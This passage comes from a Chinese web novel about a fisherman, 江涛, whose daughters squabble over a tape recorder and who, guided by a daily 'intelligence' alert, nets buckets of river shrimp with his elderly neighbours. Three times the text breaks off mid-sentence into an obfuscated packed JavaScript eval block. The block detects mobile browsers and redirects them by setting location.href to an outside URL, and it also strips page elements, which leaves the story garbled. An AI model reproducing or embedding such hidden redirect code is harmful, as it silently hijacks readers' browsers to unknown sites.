铁牛也憨憨地咧了咧嘴。 老张更是幸灾乐祸,“嘿,这大主任,以前眼睛长在头顶上,现在也有吃瘪的时候。” 院外,江海还没走远,隐约听到屋里传来的笑声,更是气得牙痒痒。 哼,臭小子! 大哥给你登云梯,想拉你一把,带你结识大老板。 你倒好,不识抬举,还让我下不来台! 你给我等着! “来,咱们继续吃。” 江涛神色如常,重新举起酒杯招呼众人。 桌上气氛很快又热络起来,酒香菜香交织,欢声笑语不断,仿佛刚才江海的出现只是个小插曲。 一直吃到晚上八点多,窗外天色早已黑透,煤油灯的光晕将人影拉得长长的。 赵老头和铁牛惦记着明天还要干活,便起身告辞。 老张虽意犹未尽,也只好依依不舍地跟着离开,临走前还一步三回头地瞅着桌上剩的半条鱼。 他摸着黑深一脚浅一脚地回到家,刚推开院门,他老婆子就闻着味儿从屋里出来了,皱着眉劈头盖脸地数落。 “死哪儿去了?这么晚才回来!一身酒气冲天,跟个醉猫似的,又去哪鬼混了?家里一堆活儿也不管!” 要在平时,老张早就缩着脖子任骂了。 可今天不一样。 借着酒劲,再加上兜里揣着江涛刚塞的两块钱辛苦费。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17462383|201179||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他底气十足,非但不躲,反而挺直了腰板,从兜里摸出那两块钱,颇有气势地扬了扬。 “嚷嚷什么?爷们儿干大事去了!这是涛子给的辛苦钱,拿着!别整天叨叨叨的,去,给爷打盆热洗脚水来!” 他老婆子一愣,待看清那两张实实在在的票子,到了嘴边的骂声顿时咽了回去。 “有几个钱就烧包!” 她接过钱,嘴上虽不服软,但身体已经很诚实地转身去灶间烧水了。 看着老婆子的背影,老张打了个酒嗝,心里那叫一个舒坦。 跟着涛子,吃香的喝辣的,在家里的地位也是水涨船高! 这感觉,真不赖! 而另一边,赵老头背着月色回到家。 一进门,就见赵老太一动不动坐在堂屋桌旁,煤油灯芯捻得小小的。 赵老头差点没吓一跳,“怎么了,老婆子?大晚上的不睡觉,坐这儿发什么愣?灯也不挑亮点。” “哎,我辛辛苦苦有什么用,人家又不领情。”赵老太叹气。 嗯? 赵老头这才看到桌上摆着好酒好菜。 虽不如涛子家丰盛,但也有盘炒鸡蛋,一小蝶花生米,一碗看样子特意留的鱼汤,旁边还温着一小壶酒。 对了,老婆子说过,以后要一日三餐将他服侍得好好的。 这是特意等他回来吃晚饭? “哎呀,你就别倒酸水了。” 赵老头心里有点感动,但嘴上不饶人,“我在涛子家吃过了,大鱼大肉的,还有黄酒。你这……留着自己吃吧。实在不行,明天你也来涛子家吃饭?月柔肯定不介意多双筷子。” “真的?” 赵老太眼睛一亮。 “还煮的呢!” 赵老头气笑了,“别总占涛子家便宜。” “你没占啊。” 赵老太白了他一眼。 其实她也不是真要在这死等,主要还是为了找个由头,能名正言顺地从老头子那收缴今天的收益。 “钱呢?” “今天鱼没卖,都养着呢。” 赵老头脱了外衣,坐在板凳上,“涛子说先养着,明天看情况。” “估摸着能有多少?” 赵老太不死心。 “那我哪知道,看涛子怎么卖,卖给谁。反正少不了咱们那一成。” 赵老头含糊其词,不想多说,怕老婆子到处嚷嚷。 “行吧,那明天卖了钱,第一时间拿回来。” 赵老太按捺住心里的期盼,起身去给他倒洗脚水,“赶紧洗洗睡,明天还得跟着涛子干大事呢。” 第91章 小祖宗 夜色如水,整个滨江村都沉入了梦乡。 江涛家里,林月柔好不容易把老八哄睡。 江招娣和江来娣帮着安顿好老四、老五、老六、老七,几个小的终于消停了。 她们刚想喘口气,偏偏江盼娣不肯罢休。 “我要听儿童歌曲!爸爸说今天放给我的!” 江盼娣叉着腰站在床边,一副不达目的不罢休的架势。 “这么晚了,听什么歌啊,赶紧睡觉。” 林月柔满脸无奈。 这二丫头怎么越发乖张了? “你不给我听,我就不睡!我就要听!” 江盼娣不依不饶,一副你不放歌我就闹腾一夜的架势。 江招娣和江来娣都看傻了。 二姐这是失心疯了吧? 平时也没见这么不讲理啊。 现在都几点了? 妹妹们可都睡着呢! “三妹,上啊,管管她。” 江招娣用手肘碰碰江来娣。 老三可是老二的克星,每次都能把她治得服服帖帖。 “大姐,我这……” 江来娣缩缩脖子,感觉这次难以胜任。 二姐今天这股邪火,她可不敢轻易去触霉头。 “你这孩子没完没了了?” 林月柔又急又气,“不怕把妹妹们吵醒啊!” “我不管,我就要听儿童歌曲。” 江盼娣把脸一扭,油盐不进。 林月柔没办法,只能求助地看向江涛。 “你看吧,二丫头这脾气也不知随谁了。” 江涛正坐在床边洗脚,见江盼娣不达目的不罢休的模样,心里又好气又好笑。 这孩子,为了个录音机还较上劲了? “盼娣。” 江涛擦干净脚,耐着性子道,“爸爸今天累了,明天还要早起干活。咱们明天再放,好吗?” 江盼娣小嘴一瘪,总算老实了。 “好吧,明天给我放。” 说完,才不情不愿地钻进被窝。 “哎,大姐。” 江来娣凑到江招娣耳边,“二姐是不是想用这手段霸占录音机啊?以后不让我们碰怎么办?” “呵呵。” 江招娣捂嘴笑了笑,“她想霸占有什么用?爸爸说了,那是买给大家的。她还能天天抱着睡不成?” 姐妹俩交换了一个心照不宣的眼神。 “睡吧,睡吧,都别说话了。” 林月柔轻声呵道。 “噗”的一声,煤油灯被捻灭,小屋陷入黑暗。 窗外偶尔传来几声蛙鸣,衬得夜色愈发静谧。 江涛躺在床上,听着身边林月柔和几个丫头逐渐均匀的呼吸,心里却盘算着明天的安排。 今天去乡里,买录音机和生活物资,前前后后花了三百块。 现在手里只剩三百了。 也不知明天情报会是什么。 要是鱼量也有个几百斤,就得打电话给县里的高主任或刘主任,请他们派车来拉。 那样,他也能跟着去趟县城,找颜卫国帮个忙。 请他出面找个靠谱的建筑技术员,把那张草图细化成正式的施工图纸,出具一份结构安全的意见。 到时再去乡里办建房许可证,盖楼房这事就基本板上钉钉了。 想着这些,江涛心里踏实极了。 侧过身,在黑暗中静静听着家人的呼吸声,他慢慢合上了眼。 次日清晨,江涛是被一阵熟悉的音乐吵醒的。 “在那山的那边海的那边,有一群蓝精灵……” 江涛猛地睁开眼。 江盼娣竟然无师自通,自己会操作录音机了。 “不听这个,我们要听《甜蜜蜜》。” 旁边,江招娣和江来娣一脸不满地瞪着她。 还好其他几个丫头睡得沉,还没被吵醒,不然真要打起来了。 林月柔显然已经放弃了管教,正在灶间忙碌,锅碗瓢盆发出轻微的声响。 “盼娣,你这是干嘛呢?” 江涛坐起身,揉了揉太阳穴。 江盼娣理直气壮,“爸爸,现在就是第二天啊,我听歌呢。” “这么早,你不怕扰民啊。” 江涛抬起手腕看了看表,还不到六点。 “什么扰民啊,我在自己家想干嘛就干嘛。” 江盼娣显然没听懂“扰民”的意思,不过这并不妨碍她我行我素,继续摆弄着录音机。 江涛扶额,彻底没辙。 管不了,这二丫头今天魔怔了。 “二姐,这个录音机不是给你一个人的,爸爸说给大家听的。”江来娣忍不住开口。 “哼,爸爸说给我听。”江盼娣头也不抬。 “老二,我和三妹想听《甜蜜蜜》!”江招娣也急了。 可江盼娣依旧霸占着录音机,纹丝不动。 江涛摇了摇头,还是自己来吧。 他起身走过去,把音量调小了些,总算没那么吵了,最后放起了《甜蜜蜜》。 江盼娣没了辙,江来娣却开心了。 “谢谢爸爸!” “谢谢爸爸!” 江招娣也很高兴,非常贴心地帮着摆早餐。 这个家里谁说了算? 那自然是爸爸。 “我要听《蓝精灵》!” “可我和大姐要听《甜蜜蜜》!” 江盼娣想要什么,江来娣就在旁边气她。 “爸爸,我要听蓝精灵。”江盼娣眼巴巴看向江涛。 江涛两手一摊,表示爱莫能助。 盼娣这丫头,也不能再这么继续任性。 “爸爸骗人……” 江盼娣眼见不占理,索性撒泼哭了起来。 江涛:“……” “盼娣,要不爸爸给你再买个小录音机?” “什么?!”江招娣和江来娣异口同声。 “买什么呀,这也太惯孩子了。”林月柔也不同意。 江涛赶紧改口,“那听完《甜蜜蜜》再听《蓝精灵》,一人一首歌!” “好,这个好!”江招娣和江来娣立刻点头。 这还差不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17462384|201179||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多。 江涛默默撤退,不想卷入这场“战争”。 吃着早饭,铁牛和赵老头就过来了。 铁牛一进门,听见屋里飘出的歌声。 “涛子,一早就听歌啊!” 江涛无语地抬头看了他一眼。 是他想听的吗? 是几个丫头非要听…… 哎,这个家,现在到底是谁的地盘,还不一定呢。 “铁牛,赵叔,你们坐下吃点。”江涛招呼道。 铁牛和赵老头也不客气,熟门熟路地拿了碗筷。 不过这次,他俩各自从家里带了煎饼和咸鸭蛋。 跟着涛子干活管饭是一回事,可天天吃、顿顿吃,也不太合适。 几人边吃早饭,边看着几个丫头为了争歌鸡飞狗跳。 江盼娣霸着录音机不放,江招娣和江来娣姐妹俩轮番上阵讲道理。 大圆桌上的粥都快凉了,谁也没心思喝。 林月柔在灶间忙得团团转,一会儿出来劝劝这个,一会儿瞪瞪那个,一脸生无可恋。 “这日子,比打渔还热闹。” 赵老头啃着自家带的硬煎饼,看着这场面,摇头直乐。 饭毕,江涛、铁牛和赵老头很有默契地拿了几张小靠椅,坐到院子里喝茶。 眼不见心不烦,偶尔传来的几声鸡鸣,倒比屋里清净多了。 “涛子,今天什么安排?” 赵老头刚抿了口热水,还没咽下去,院门“吱呀”一声被推开了。 老张像一阵风似的卷了进来,脸上挂着那种“天降大任于斯人”的亢奋表情,手里还拎着个空扁担。 “涛子,有什么重活累活,尽管吩咐!” 说着,他把扁担往地上一杵,摆出一个健美先生的姿势。 虽然身上的旧褂子破了个洞,但气势那是相当唬人。 铁牛看着他这副尊容,差点没被水呛着。 赵老头把脸扭到一边,肩膀一耸一耸地偷笑。 江涛放下水杯,“张叔,什么活都行?” “那必须的!” 老张把胸脯拍得啪啪响,“昨儿那两块钱揣在兜里,我这一宿都没睡着!这钱烫手啊!今儿哪怕是去江边挑十趟水,我也认了!” 江涛笑了笑,指着屋里。 “行,那你先进去劝劝吧。那几个丫头为了个录音机快把房顶掀了,你去给评评理,看谁能听《甜蜜蜜》,谁能听《蓝精灵》。” 老张一听,脸上的亢奋瞬间僵住。 他这辈子,最怕的就是婆姨骂街和三姑六婆吵架,更别说这一窝蜂的小丫头片子。 “这……这……” 老张看着土屋,仿佛里面是龙潭虎穴。 他缩着脖子干笑道,“嘿嘿,涛子,屋里都是小祖宗,我小老头哪敢上前放肆?” 说着,老张一溜烟躲到赵老头身后,只露出半个脑袋警惕地盯着土屋,生怕冲出来个撒泼的小丫头让他评理。 赵老头终于忍不住,哈哈大笑起来。 “老张啊老张,你这胆子,还没我家那老母鸡大!” 第92章 又是江虾! 江涛也是摇摇头,无奈地笑了笑。 屋里这几个丫头片子,真是比打渔还费神。 他端起搪瓷缸,刚抿了一口,脑海里突然响起那熟悉的提示音。 【每日情报:今日巳时,江边最大芦苇荡西侧几处浅水窝,有一大群江虾出没。】 江涛手里的缸子顿住了,滚水差点溅出来。 又是江虾! 还是老地方? 不过,这次说几处浅水窝都有,难道量比上次还要大? 他放下水杯,眼神一凛。 “哎呀,屋里那点鸡毛蒜皮的小事随她们去吧,咱们该去干正事了。” “铁牛!” 江涛站起身,拍拍裤腿。 刚要招呼铁牛带上抄网和水桶,赵老头却一把将他拉到一边。 “涛子,老张怎么办?” 赵老头皱了皱眉,眼神瞥向老张的方向。 “赵叔,你的意思?” 江涛知道赵老头想说什么。 老张一大早风风火火跑来,又是带扁担又是表决心,显然是盯着今天的活计。 他们要是走了,把老张晾在这,面子上确实过不去,以后见面尴尬。 可要是带着他去打渔,这钱又怎么分? 给一成? 铁牛和赵老头肯定不乐意。 只给辛苦费? 又怕他心里不平衡,觉得受了歧视。 老张原本躲在赵老头身后,警惕地盯着屋里,突然见他拉着江涛凑在一起嘀嘀咕咕,也猜到是在说自己,心里顿时七上八下。 “涛子,你们是不是去打渔啊?去吧!不用管我,到时用板车招呼一声就行!” 老张倒也识趣,见江涛看向他,连忙拿着扁担,一脸豁达地往外走。 只是那背影,怎么看都透着股落寞。 江涛看着老张的背影,又看了看赵老头。 这怎么搞得跟小朋友玩游戏了? 不带你玩,带他玩? 赵老头也没想到老张这么上道,自己给自己找了个台阶下,心里倒是松了口气,刚想说“那就让他回去吧”。 江涛却开口了。 “张叔,你要是愿意跟着就跟着吧。不过说好,今天这活儿你也不下水,不分钱,只给辛苦费。” 老张一听,猛地转过身,脸上瞬间笑开了花。 他本来过来就想挣个辛苦费的。 上次不都这么说好了吗? 就赵老头在那儿窃窃私语,他还以为没自己的份儿了。 没想到峰回路转,还能跟着去! “哎!哎!涛子你放心,我肯定卖力气!” 老张把扁担往肩上一扛,腰杆挺得笔直,“那我现在就去推板车?带几个大水桶?” “切。” 赵老头在一旁看得直撇嘴。 这老小子挺能耐啊。 就你会推板车! 还带几个大水桶! “行,那张叔您就把板车推着,带几个大水桶。到时在岸上帮着拎水、看东西。” 江涛点点头,算是定了下来。 “没问题!” 老张欢天喜地,生怕江涛反悔,一溜烟跑回家去推他的板车了。 “也行,老张既然愿意干,就让他干吧。” 赵老头心里不舒服,大手一挥,“铁牛,待会所有渔具都带上吧,反正有老张的板车拉着,全都带上。” 既然让老张那老小子推板车,那还不狠狠地装? 撒网、抄网、大水桶、还有地笼……凡是能塞的都往车上塞,把分量给足了! 让他也尝尝什么叫重担子,别整天在那儿咋咋呼呼的,好像离了他地球就不转了似的。 铁牛挠挠头。 全都带上,分量可不轻啊。 江涛偷笑。 赵老头还吃上醋了。 不过,有了老张的板车,他的自行车倒是可以歇歇了。 反正四个人也没法骑。 这几天风里来雨里去,车轱辘都沾满泥,再不擦都干上面了。 “盼娣,爸爸出去干活,自行车在家。你能跟大姐学着擦擦车,把泥巴弄干净吗?” 他走进屋里,看着还在为录音机冷战的几个丫头 给江盼娣安排了活。 本以为她多半会推三阻四,正好让她长点记性。 谁知,江盼娣竟想都没想,脆生生地答应了。 “行!爸爸你放心吧!” 她又不傻。 爸爸态度很明显,录音机是大家的。 她再闹也没用,还不如做点实事,让爸爸高兴高兴。 江涛有些意外,随即笑了笑。 这丫头,倒是个机灵鬼。 “爸爸,我也帮大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17465923|201179||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐擦自行车。” 江来娣唯恐落后,赶紧举手。 “好,谁擦得干净,爸爸有奖励。” “奖励什么?” “暂时保密。” 看着丫头瞬间亮起来的眼睛,江涛心里软成一片。 这奖励嘛,回头再想。 反正只要她们乖,什么奖励都行。 “涛子,我来了。” 老张推着板车回来,上面还放了自家两个大木桶。 “张叔,我这有八个水桶应该够了。” 江涛看了看,“这木桶太重了,就不带了。” “哪重了?涛子,这桶带几个挺好。” 赵老头慢条斯理开了口,“铁牛,快,那几张撒网、抄网,还有地笼,全都带上。” “哦。” 铁牛应了一声,“那鳗鱼笼要不要也带上?” “带上带上,都带上。”赵老头大手一挥。 很快,板车就装了一大堆,分量着实不轻。 老张也不吭声,在前面拉着板车,气得赵老头像一拳打在棉花上,没意思透了。 “月柔,我去江边了,孩子们看好。”江涛嘱咐。 “哎,路上小心。”林月柔从灶间探出头。 江涛几人出发。 老张在前面卖力地拉着板车,赵老头扶着车,铁牛跟在旁边,一行人朝江边走去。 看着老张弓起的背,赵老头心中不快突然散了,甚至还有点同情这老家伙。 待会儿打了渔,可有的他累了。 呵呵。 一行人很快到了江边。 晨雾渐渐散去,宽阔的江面只剩零星朦胧的水汽。 芦苇荡在晨风中沙沙作响,空气里带着湿润的泥土腥气。 “涛子,今天咱们去哪片下网?” 赵老头眯着眼打量着江面。 这江边他跑了大半辈子,可哪儿出鱼他还得碰运气。 “涛子,要我说,去下游那块儿好。那儿水草丰美,说不定有大鱼呢!” 老张为了尽快融入团队,不遗余力地出着主意。 “下游那块儿?” 赵老头斜睨了老张一眼,嘴角撇了撇。 那地方他闭着眼都知道,经常水浑得跟泥汤似的,鱼都躲得远远的,去那儿只能捞泥巴。 这老小子懂个屁,纯粹是瞎起哄。 第93章 水神爷爷 “涛子,你可别听老张瞎说,该去哪儿你来把控。” 赵老头心里不满,见老张胡说八道,忍不住开口呛声。 什么?我瞎说? 老张气得直瞪眼。 不过,刚加入小团队,和谐第一。 他也没跟赵老头一般计较,只是转向江涛,一脸谄媚。 “涛子,这打渔听你的,你说去哪儿?” “咱们去那儿。” 江涛抬手指向前方不远处那片最大的芦苇荡。 情报说,西侧几处浅水窝里都有江虾。 “那儿?” 老张愣住,脸上谄笑瞬间凝固,“那儿能有鱼?那地方水浅得跟脚面似的,芦苇又密,网都没法撒啊!” “啧!” 赵老头不满地瞪了他一眼。 领导发话,瞎插什么嘴? 老张吓得一缩脖子。 是吧,打渔不是要撒网吗? 他说的没错吧? “涛子,确定去那儿?” 赵老头心里也觉得悬。 那地方水浅,除了些小虾米,哪能藏得住大鱼? 再说都是芦苇杆子,确实不好撒网。 可他刚骂完老张不懂,这会儿要是附和,岂不是长了老张的志气? “对,确定去那儿。咱们走吧。”江涛语气笃定。 “那行,涛子你指哪我们打哪。” 赵老头只好应下,同时又把老张一顿数落。 “老张,你不懂不要随便插嘴。就你那点眼力见儿,能看出哪个地方有鱼?” 这通训斥,与其说是反驳老张,不如说是强行给自己找补。 老张被噎得老脸通红,缩了缩脖子,不敢再吱声。 就知道说我,你不也怀疑吗? 别以为我没看出来。 这个老赵头就知道拍涛子马屁。 不过,涛子真能行吗? 那鬼地方……算了算了,今天来了,总归少不得他的辛苦费。 几人到了江边最大的芦苇荡。 “张叔,你就在这儿看着板车吧。” 江涛吩咐完,又转向铁牛,“铁牛,拎上抄网和水桶,咱俩先下去看看。” “那我呢?” 赵老头急了。 作为小团队三大元老之一,他可不想被排除在外,让老张看笑话。 “赵叔,我和铁牛先下去看看情况。” 江涛解释道,“你看这附近哪里适合下地笼。” 赵老头一愣。 下地笼? 他没听错吧? 江涛没过多解释。 刚才赵老头让铁牛把所有的渔具都带上,这要是不用上,老张难免心里不舒服。 为了避免尴尬,只好让赵叔受累了。 “好吧。” 赵老头不太情愿,可涛子发话了,他要是不听指挥,指不定会被老张抢了元老地位。 没办法,只得应下。 “行,我去找地方下地笼。” “赵叔,我和铁牛先去看看情况,到时要换桶,再喊你下来。” 江涛又补充了一句,算是给了赵老头一个明确任务,也让他有了台阶下。 “行行行。” 赵老头心中暗爽,这还差不多。 他背起地笼,雄赳赳气昂昂地沿着芦苇荡边缘去寻找下笼的宝地。 把看板车的老张远远甩在身后。 看着赵老头那副得意洋洋的背影,老张心里顿时不是滋味。 得,就我一个闲人。 风吹芦苇沙沙响,他百无聊赖地踢了踢脚边的石子,眼巴巴望着江涛和铁牛两人钻进芦苇荡。 芦苇杆子又密又韧,密密麻麻挤在一起,人一钻进去,眨眼就被吞没了。 江涛拿着抄网,拎着水桶,熟门熟路地拨着芦苇杆子,向芦苇荡西侧的浅水窝走去。 这地方原本不熟。 要不是江招娣,他到现在恐怕还找不到这处宝地。 “涛子,这里真有鱼?” 铁牛跟在后面,一只手拎着水桶,一只手拿着抄网费力拨开密不透风的芦苇杆子,水珠溅了他一脸。 “没有鱼。”江涛头也不回道。 “啊?没鱼我们来这干什么?” 铁牛一愣,差点一脚踩空滑进水里。 “没有鱼,有虾啊。”江涛嘴角一勾,拨开最后一丛芦苇。 此时,两人已走到一处浅水窝旁。 水面清澈见底,在晨光的照耀下波光粼粼。 昨夜涨潮带来的丰富饵料,让这片浅滩成了江虾的乐园。 只见水草间,密密麻麻的全是江虾! 它们通体晶莹剔透,个头硕大,正悠闲地摆动着长须,有的趴在水草上歇息,有的弓着身子“嗖”地一下弹射出去,在清澈的水底溅起一串细小的泥沙。 那虾群密集得简直像一团团会动的玛瑙,随着水波轻轻晃动,看得人眼花缭乱。 “乖乖……” 铁牛倒吸一口凉气,眼睛瞪得像铜铃。 “这……这也太多了吧?” 铁牛看得眼都直了,半天没回过神来,只觉得这虾多得有些吓人。 “铁牛,愣着干什么?捞啊!” 话音未落,江涛的抄网已经“唰”地探了出去,精准地没入水草根部,轻轻一兜,抄网里已是晶莹一片,活蹦乱跳的江虾几乎要溢出来。 “哎哎!” 铁牛这才如梦初醒,兴奋得脸都红了。 赶紧把水桶往水边一放,抄起另一张网就往虾群里招呼。 两人一左一右,抄网起落,水花四溅。 那些江虾毫无防备,被捞起来时还在网里弹跳挣扎,发出“噼里啪啦”的脆响。 两桶很快装满,虾子们在桶里挤成一团,须脚乱蹬,那旺盛的活力仿佛要从桶里蹦出来。 江涛抹了把脸上的水珠,“铁牛,你把这两桶拎到张叔那养起来,别让太阳直晒。赵叔要是地笼下好了,让他一起过来。” “好嘞!” 铁牛兴奋得嗓门都亮了几分,一手拎一桶,深一脚浅一脚地往岸上走,连芦苇叶子刮破了裤腿都顾不上了。 这浅水窝里捞虾,可比捞鱼带劲多了! 简直就跟白给一样。 涛子也真是神了。 怎么净能找到这样的好地方。 怕不是江神附体吧。 铁牛胡思乱想着走上岸,正要招呼老张,就听一个大嗓门差点把他吓一跳。 “哎呀,我的乖乖!” 老张一阵风似的冲过来, “这么多江虾……我的妈呀,涛子这是水神爷爷附身了。” 这大嗓门惊动了不远处的赵老头。 他赶紧下完最后一个地笼,飞奔过来。 “怎么了?出什么事了?” 等他看清那两桶虾,腿肚子都哆嗦了一下,脸上的褶子都笑开了花。 “哎哟喂,这得有五六十斤吧?乖乖,涛子神了!” 赵老头心里那个服气啊,简直五体投地。 他发誓,以后绝对绝对不再怀疑江涛的任何决策。 哪怕他说这芦苇荡里能捞出金元宝,他也信了! “哎呀,这么多虾,得值多少钱啊。” 老张围着水桶转,心里的小算盘打得噼啪响。 这趟跟着涛子,值了! 第94章 桶还是带少了 “张叔,赶紧将这些江虾养起来,记得别在太阳底下暴晒。”铁牛叮嘱。 “哎哎好。” 老张连忙将带来的大木桶装上清水,又找了片阴凉地儿摆好。 赵老头帮着铁牛,将两桶活蹦乱跳的江虾倒进木桶里。 看着那晶莹剔透的虾子在清水中游弋,心里那叫一个舒坦。 “得亏我说这两个木桶带着吧?” 赵老头自吹自擂,一脸“没我不行”的得意。 老张一听不高兴了,“赵老头,这桶可是我自己带的!” “可要不是我多一句嘴,你这桶来之前就被涛子否了,现在搁家里吃灰呢!” 赵老头一脸嘚瑟,下巴抬得老高。 说完,拿起抄网和三个空水桶,拉着铁牛就往芦苇荡里钻。 “走,咱们接着捞去!让老张在岸上歇着吧!” 两人拨开芦苇杆,来到浅水窝。 赵老头扯着嗓子喊,“涛子,虾还多不多?” “多的是。” 江涛直起身,抹了把脸上的水珠。 刚才他转了好几处浅水窝,果然情报没错,个个地方都有不少江虾,这趟收获简直超乎想象。 “那还说什么?开干!” 赵老头兴奋地挽起裤腿,抄起网就下了水。 三个人立刻忙活起来。 江涛和赵老头在水里抄网飞舞。 铁牛则像个勤劳的搬运工,每装满一桶就拎着往岸上跑,交给老张养进大木桶里。 一时间,芦苇荡里水花四溅,伴着江虾落桶的“噼啪”声,热闹非凡。 老张在岸上看着一桶接一桶的收获,笑得嘴都合不拢,刚才的不快早抛到九霄云外去了。 “哎呀,这么多虾啊。” 他围着那几大桶江虾转,心里那个美,可眨眼间又犯了愁。 “哎,这桶还是带少了,早知道多带两个来了。” 而此时,芦苇荡西侧的几个浅水窝,水里的动静慢慢小了。 “行了,今天先捞到这吧。”江涛收了抄网。 其实,浅水窝里再捞一桶虾还是有的,但他不想赶尽杀绝。 这地方风水好,留点种,以后想吃随时来,没必要一次性掏空。 再说也没桶了,总不能拎着衣襟兜回去。 “行,咱们回去吧。” 赵老头有些意犹未尽,但想想那么多收获,心里已然满足。 三人拨开芦苇杆子回到岸上。 铁牛把两桶虾递给老张。 老张喜笑颜开地用水养好,这才注意到三人都回来了。 “不去捞了吗?” “你就知道捞?这都十桶了!心也太贪了。” 不知怎地,赵老头看老张哪哪都不顺眼,逮着机会就刺他两句。 老张被怼得缩了缩脖子,没敢回嘴。 这老头子今天立了大功,又是元老,他一个新来的哪敢吱声? “咱们休息会儿,回去前将地笼收了。” 江涛说着,一屁股坐在一块石头上,长长舒了口气。 刚才在水里忙活半天,可把他累坏了,浑身都像散了架。 赵老头也一屁股坐下,捶着老腰直哼哼。 不过,铁牛倒是没闲着,很勤快地将板车推到水桶旁,又跑去采了一大堆青草,细心地盖在每个桶上遮阳。 老张在旁边看着,心里直打鼓。 别人都忙得跟头牛似的,就他闲得跟门神一样? 不行,到时候吃饭都上不了桌。 他眼珠一转,计上心头。 “赵老头,你地笼下在哪里?别瘫地上了,走,我们一起去把地笼起了。” 咦?这老小子阴我! 赵老头抬头瞪着老张。 他现在很累好不好? 涛子不是说了,歇会儿再去起地笼吗? 可看老张那副坏水样,他要真瘫着不动,指不定老张怎么编排他呢。 说他元老架子大,活都让新人干? 不行,不能让他得逞。 “行,去就去。” 赵老头咬着牙,撑着膝盖起身,老腰一阵酸痛。 “赵叔,你歇会儿再去。”江涛担心地看着他。 “不行啊,老张想干活表现表现,我不得帮他一把?” 赵老头没好气地哼哼,狠狠剜了老张一眼。 哼,待会十个地笼,全让老张一个人去起,累死这老小子! 看他还敢不敢瞎嘚瑟! “走吧。” 赵老头扶着老腰,在前面带路,老张颠颠儿地跟在后面。 到了第一处地笼,赵老头正琢磨着怎么让老张吃瘪。 谁知老张却抢先开了口。 “赵老头,你腰不好就在岸上歇着,这下水起笼的活儿我一个人来就行。反正我年轻力壮,不碍事。” 赵老头一听,差点没背过气去。 这老小子竟有脸说自己年轻? 还不是迫不及待想抢功劳! 他要真在岸上干看着,回头让涛子觉得他这元老偷懒,那还了得? “呸!谁要你让着了?” 赵老头梗着脖子,一咬牙就往水里跨,“我这身子骨硬朗着呢!十个地笼,咱俩一人五个,比比谁起得多!” 他指着水面,“你往前面走,下地笼的地方我都用柳条做了记号。” 原本想着让老张一个人受累,现在只能一人一半了。 “行,您老悠着点。” 老张憋着笑,往前走去。 嘿嘿,老赵头总是呛他,这下吃瘪了吧? 两人下了水,开始起笼。 赵老头憋着一口气,手脚麻利地拉着地笼。 五笼拉上来,收获还不小呢。 十几只挥舞大钳的螃蟹,七八条鳊鱼,几十条活蹦乱跳的猪舌头鱼,甚至还有四条滑溜溜的大黄鳝! 而老张那边,除了十几条泥鳅,就是些杂草烂泥。 赵老头心里那叫一个痛快,看着老张那干瘪的笼子,腰都不酸了。 两人回到江涛那儿,赵老头那是相当得意。 “涛子,老张就是个扫把星!要不是他非吵着去收地笼,咱们的收获肯定不止这些!” 赵老头一边展示着自己的战利品,一边没好气地瞪了老张一眼。 老张憋屈得脸都红了,却又无法反驳。 谁让自己运气背呢。 这赵老头忒坏,肯定是故意让自己去起那五个地笼的。 看着满头大汗的两个老头,江涛笑着摇了摇头。 这俩老头子,怎么跟斗鸡似的。 “行了,这么多也不错,回去贴个下酒菜!” 老张原本心里不爽,听到“下酒菜”三个字,立刻想到昨晚那顿丰盛的晚餐,顿时高兴起来。 “那咱们赶紧回去吧!” 几人收拾渔具往板车上装。 老张刚要推车,发现板车重得像座山,根本推不动,他两条腿直打颤。 赵老头在一旁偷笑暗爽。 刚才让你嘚瑟,这下知道厉害了吧? 最后还是铁牛搭了把手,两人合力推着板车,一行人满载而归。 第95章 吃香的喝辣的! 回到村,已将近十一点。 日头偏近当空,村里静悄悄的,只有各家烟囱冒着缕缕炊烟,夹杂着几声懒洋洋的狗吠。 不过,当江涛一行推着那辆满载而归的板车出现在村口时,这份宁静瞬间被打破了。 “哎哟喂!快来看呐!涛子家又捞着大鱼啦!” 不知谁喊了一嗓子,原本在屋里准备午饭的村民,像是听到了什么号令,纷纷冲出家门围了过来。 当看清板车上十大桶活蹦乱跳的江虾时,村民们眼珠子都快瞪出来了。 “老天爷啊!这得有多少斤啊?” “这哪是打渔,这是把虾窝子端了吧?” “乖乖,这一桶少说也得二三十斤,十桶……得值多少钱啊!” 村民们围拢过来,脸上写满了震惊和难以置信。 昨天那几百斤黄颡鱼已让人心惊肉跳,今天这满车的江虾更是让人眼红心跳。 简直比做梦还离谱。 “涛子,你这到底是使了什么法子?这江虾也能捞这么多?” 一个村民忍不住伸手想去戳戳桶里的虾,却被那弹跳的力道吓得缩了回来。 